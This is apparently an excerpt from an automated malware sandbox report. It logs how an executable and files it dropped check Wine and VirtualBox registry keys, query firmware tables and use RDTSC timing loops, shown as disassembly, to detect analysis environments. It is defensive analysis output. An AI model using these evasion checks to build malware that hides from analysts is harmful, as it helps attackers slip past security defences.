Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EB30 second address: 76EB47 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F988D0B0288h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007F988D0B0294h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EB47 second address: 76EB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE458 second address: 8EE45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE715 second address: 8EE71B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0AD8 second address: 8F0B0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 add dword ptr [esp], 7CB81900h 0x0000000e push ebx 0x0000000f and edi, dword ptr [ebp+122D36F7h] 0x00000015 pop edi 0x00000016 push 00000003h 0x00000018 sub ch, 00000065h 0x0000001b push 00000000h 0x0000001d sub di, 0E33h 0x00000022 push 00000003h 0x00000024 movzx ecx, dx 0x00000027 push 41F81920h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0B0A second address: 8F0B10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0C4C second address: 8F0C51 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0C51 second address: 8F0D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 77580FEFh 0x0000000e mov edx, 56BEB6B7h 0x00000013 push 00000003h 0x00000015 sub dword ptr [ebp+122D1CA2h], edi 0x0000001b jmp 00007F988C7CE327h 0x00000020 push 00000000h 0x00000022 mov dx, si 0x00000025 push 00000003h 0x00000027 mov ecx, dword ptr [ebp+122D379Fh] 0x0000002d push C086D816h 0x00000032 push eax 0x00000033 jmp 00007F988C7CE325h 0x00000038 pop eax 0x00000039 xor dword ptr [esp], 0086D816h 0x00000040 jne 00007F988C7CE321h 0x00000046 lea ebx, dword ptr [ebp+1245598Fh] 0x0000004c mov dh, ch 0x0000004e xchg eax, ebx 0x0000004f pushad 0x00000050 jmp 00007F988C7CE327h 0x00000055 pushad 0x00000056 jmp 00007F988C7CE329h 0x0000005b jl 00007F988C7CE316h 0x00000061 popad 0x00000062 popad 0x00000063 push eax 0x00000064 jnp 00007F988C7CE339h 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F988C7CE327h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 902974 second address: 90297E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90297E second address: 902982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD17F second address: 8DD183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910ECC second address: 910EE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F988C7CE318h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910EE7 second address: 910EF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007F988D0B0286h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911057 second address: 911061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F988C7CE316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911061 second address: 911082 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0293h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jo 00007F988D0B0286h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911082 second address: 9110A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988C7CE321h 0x00000009 popad 0x0000000a js 00007F988C7CE322h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9110A0 second address: 9110A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9110A6 second address: 9110B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jbe 00007F988C7CE316h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9110B4 second address: 9110B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911385 second address: 911389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911513 second address: 911543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F988D0B028Fh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F988D0B028Fh 0x00000012 jns 00007F988D0B028Ah 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9117DF second address: 9117F5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F988C7CE316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c jg 00007F988C7CE31Eh 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 911D7E second address: 911D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912314 second address: 91232E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE321h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91232E second address: 912336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912336 second address: 91233B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9149DC second address: 9149E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9149E1 second address: 9149E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913919 second address: 91392D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B0290h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913F93 second address: 913F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2227 second address: 8E222B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E222B second address: 8E222F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E222F second address: 8E2242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F988D0B028Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E2FC second address: 91E30C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F988C7CE316h 0x00000008 js 00007F988C7CE316h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E30C second address: 91E358 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F988D0B02A3h 0x00000008 jo 00007F988D0B028Ch 0x0000000e jo 00007F988D0B0286h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 je 00007F988D0B02A1h 0x0000001c push esi 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F988D0B028Dh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D944 second address: 91D949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921676 second address: 92167A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92167A second address: 921680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921B9B second address: 921BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F988D0B0286h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921C7C second address: 921C8C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922174 second address: 922190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], ebx 0x00000009 mov di, 7BD4h 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F988D0B028Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9224F8 second address: 9224FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922737 second address: 922767 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F988D0B0286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F988D0B0297h 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 stc 0x00000015 push eax 0x00000016 push ecx 0x00000017 jl 00007F988D0B028Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922C46 second address: 922C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9245BD second address: 9245C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F988D0B0286h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92502E second address: 925036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925036 second address: 92508A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F988D0B0288h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 movzx edi, cx 0x00000028 push 00000000h 0x0000002a mov edi, dword ptr [ebp+122D386Fh] 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D28D7h], edi 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c jmp 00007F988D0B0290h 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92508A second address: 92508F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9270E6 second address: 9270EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927B41 second address: 927B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927B45 second address: 927BC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F988D0B0288h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007F988D0B0288h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 0000001Bh 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e jne 00007F988D0B0286h 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push edi 0x00000049 call 00007F988D0B0288h 0x0000004e pop edi 0x0000004f mov dword ptr [esp+04h], edi 0x00000053 add dword ptr [esp+04h], 00000017h 0x0000005b inc edi 0x0000005c push edi 0x0000005d ret 0x0000005e pop edi 0x0000005f ret 0x00000060 xchg eax, ebx 0x00000061 pushad 0x00000062 push edi 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B2F6 second address: 92B301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D698 second address: 92D69C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D69C second address: 92D6ED instructions: 0x00000000 rdtsc 0x00000002 js 00007F988C7CE316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c mov bx, si 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F988C7CE318h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov ebx, dword ptr [ebp+122D34D5h] 0x00000031 push 00000000h 0x00000033 jmp 00007F988C7CE31Eh 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F988C7CE31Bh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E946 second address: 92E94E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92F879 second address: 92F88E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F988C7CE31Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931841 second address: 931845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931845 second address: 931849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 931849 second address: 931856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 933727 second address: 93372B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 934665 second address: 934674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B028Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93372B second address: 93373B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93373B second address: 933752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B0293h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9355EF second address: 935657 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jc 00007F988C7CE316h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F988C7CE318h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b ja 00007F988C7CE319h 0x00000031 push 00000000h 0x00000033 mov bh, cl 0x00000035 push 00000000h 0x00000037 sub dword ptr [ebp+122D34DEh], esi 0x0000003d xchg eax, esi 0x0000003e jng 00007F988C7CE324h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 push eax 0x00000049 pop eax 0x0000004a pushad 0x0000004b popad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9375D7 second address: 9375DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9375DD second address: 9375E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9395C0 second address: 9395CD instructions: 0x00000000 rdtsc 0x00000002 jns 00007F988D0B0286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9395CD second address: 9395EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F988C7CE324h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9395EA second address: 9395EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9357EA second address: 9357F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 939703 second address: 9397A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0291h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jnl 00007F988D0B029Fh 0x00000011 jmp 00007F988D0B0299h 0x00000016 nop 0x00000017 mov ebx, dword ptr [ebp+122D1CD0h] 0x0000001d push dword ptr fs:[00000000h] 0x00000024 or bx, ED64h 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007F988D0B0288h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a mov di, 5941h 0x0000004e mov eax, dword ptr [ebp+122D1695h] 0x00000054 mov edi, dword ptr [ebp+124559DAh] 0x0000005a push FFFFFFFFh 0x0000005c jmp 00007F988D0B0291h 0x00000061 mov dword ptr [ebp+12484F10h], edi 0x00000067 push eax 0x00000068 pushad 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9397A6 second address: 9397C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F988C7CE327h 0x0000000c rdtsc
